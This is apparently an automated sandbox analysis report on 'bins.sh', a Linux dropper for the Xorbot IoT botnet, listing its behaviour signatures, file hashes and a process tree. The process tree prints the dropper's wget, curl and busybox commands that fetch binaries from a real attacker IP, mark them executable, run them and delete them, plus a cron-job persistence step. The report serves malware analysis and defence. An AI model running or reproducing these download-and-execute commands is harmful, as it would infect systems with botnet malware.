Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/01/2025, 07:52

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250111-jqdr3strdm
  • SHA256 4efe0b4b43fc9fd9c7f7fa4a51ca8b3d68cde167d19ff43c93ac5e73ce4f0c12
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2031) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://94.154.35.94/bins/aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
          • Writes file to tmp directory
          PID:642
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:668
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
          • Writes file to tmp directory
          PID:671
        • /bin/chmod
          chmod 777 aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          ./aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://94.154.35.94/bins/xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
            • Writes file to tmp directory
            PID:711
          • /bin/chmod
            chmod 777 xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
            • File and Directory Permissions Modification
            PID:721
          • /tmp/xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            ./xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
            • Executes dropped EXE
            PID:722
          • /bin/rm
            rm xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
            2⤵
              PID:726
            • /usr/bin/wget
              wget http://94.154.35.94/bins/i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
              • Writes file to tmp directory
              PID:727
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:733
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              ./i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://94.154.35.94/bins/rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                • Writes file to tmp directory
                PID:768
              • /bin/chmod
                chmod 777 rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                ./rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                • Executes dropped EXE
                PID:770
              • /bin/rm
                rm rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                2⤵
                  PID:772
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  2⤵
                  • Writes file to tmp directory
                  PID:773
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:774
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /bin/chmod
                  chmod 777 2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:778
                • /tmp/2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  ./2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:779
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:781
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:782
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:783
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:784
                      • /bin/rm
                        rm 2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                        2⤵
                          PID:786
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/HL793DUJnyOVRk6FkTnppqM2DVI7stFcMV
                          2⤵
                            PID:789

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                              • Path /tmp/2DoufGyMrh3Be9yfwtApOl9nfP9wqRPxEl
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
                              • Path /tmp/aIOqv7kmZaM1Qzfb08aRlIhtb4JIC1GzDv
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
                              • Path /tmp/i7zffttKqOcOPfylnACF4Rkj69IXj9yudH
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                              • Path /tmp/rWQUhpeLVndNGHXOX5ULsPdkzWpMcYRMjJ
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
                              • Path /tmp/xVYHBPcO8DXavOaa8tQz0o0wBCMvYx1c3D
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.pAVATV
                              • Path /var/spool/cron/crontabs/tmp.pAVATV
                              • Size 210B
                              • SHA256 717a37867e709cfeecefd7517c535344e30088927e1a6ddfd6276122fe1c6ec5
                              • MD5 SHA1 SHA512
                              Submit Download